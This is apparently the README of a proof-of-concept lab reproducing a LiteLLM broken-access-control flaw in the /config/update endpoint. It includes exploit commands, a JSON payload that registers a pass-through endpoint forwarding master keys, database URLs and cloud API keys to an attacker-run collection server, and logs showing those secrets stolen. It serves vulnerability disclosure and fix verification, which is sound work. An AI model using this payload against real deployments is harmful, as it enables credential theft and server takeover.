
Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle
/config/update Schwachstelle für unbefugten Zugriff (Broken Access Control)Der
/config/update-Endpunkt von LiteLLM prüft die Rollenberechtigungen des Aufrufers nicht. Jeder authentifizierte Benutzer mit einem gültigen API-Key (ohne Administratorrechte) kann die Proxy-Konfiguration ändern und bösartige Pass-Through-Endpunkte registrieren, um Angriffe wie Stehlen von Umgebungsvariablen, Lesen beliebiger Dateien und Remote Code Execution durchzuführen.
| Feld | Wert |
|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HOCH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HOCH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Betroffen | LiteLLM < 1.83.0 |
| Behoben | v1.83.0+ (hat die proxy_admin-Rollenprüfung für /config/update hinzugefügt) |
| Veröffentlicht | 2026-04-06 |
| Entdeckt von | Timo Müller — SEC Consult Vulnerability Lab (München) |
| Gefunden | 2026-02-24 |
| Links | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
Der /config/update-Endpunkt von LiteLLM sollte eigentlich nur von der Rolle proxy_admin aufgerufen werden dürfen, aber vor v1.83.0 gab es
keinerlei Rollenprüfung. Jeder Benutzer mit einem gültigen API-Key konnte diesen Endpunkt aufrufen.
| Angriffstyp | Beschreibung |
|---|---|
| Stehlen von Umgebungsvariablen | Registriert Pass-Through-Endpunkte und stiehlt über os.environ/VAR_NAME-Header-Referenzen DATABASE_URL, LITELLM_MASTER_KEY usw. |
| Lesen beliebiger Dateien | Nutzt die Base64-Kodierung der LANGFUSE_*-Header aus, um das Server-Dateisystem zu lesen |
| Konfigurationsmanipulation | Überschreibt UI_USERNAME und UI_PASSWORD, um das Administratorkonto zu übernehmen |
| Remote Code Execution | Registriert Pass-Through-Endpunkt-Handler, die auf Python-Code des Angreifers verweisen |
⚠️ Wichtig: Die
docker-compose.ymllegt das anfällige Image auf einen bestimmten Digest fest (sha256:5beb4ea6...) vom 24. Januar 2026. Ändern Sie es nicht aufmain-v1.81.0-stableoder ein anderes veränderliches Tag — spätere Images könnten mit Fixes neu erstellt worden sein, was die Reproduktion verhindert.
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
Hinweis: Beim ersten Start der Container ca. 30–60 s warten (PostgreSQL-Healthcheck + Prisma-Datenbankmigration), bis in den Container-Logs
Uvicorn running on http://0.0.0.0:4000erscheint, bevor Sie den Exploit ausführen.
Stehlen von Umgebungsvariablen:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
Behobene Version verweigert den Zugriff (mit nicht-administrativem Key wird 403 zurückgegeben):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
Hinweis: Wenn Sie die behobene Version mit dem Master Key (
sk-litellm-master-key) testen, gibt die Konfigurationsaktualisierung weiterhin HTTP 200 zurück (der Master Key besitzt die Rolleproxy_admin), die Registrierung des Pass-Through-Endpunkts wird jedoch möglicherweise nicht wirksam oder stillschweigend ignoriert. Es wird empfohlen, die Behebung mit einem nicht-administrativen Key zu verifizieren.
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ 攻击者 │ │ LiteLLM Proxy │ │ Exfiltration 服务 │
│ (低权限 Key) │ │ (< v1.83.0) │ │ (攻击者控制) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (含 DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. 读取 /logs 确认结果 │
│─────────────────────────────────────────────→│
│←─ [🔥] 窃取到 DATABASE_URL ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
v1.83.0 hat die proxy_admin-Rollenprüfung im /config/update-Handler hinzugefügt:
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
... # 任何已认证用户均可调用
# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin") # ← 新增角色检查
async def update_config(request: Request):
...
Commit: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/update-Endpunkt einschränkenHaftungsausschluss: Dieser Inhalt wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.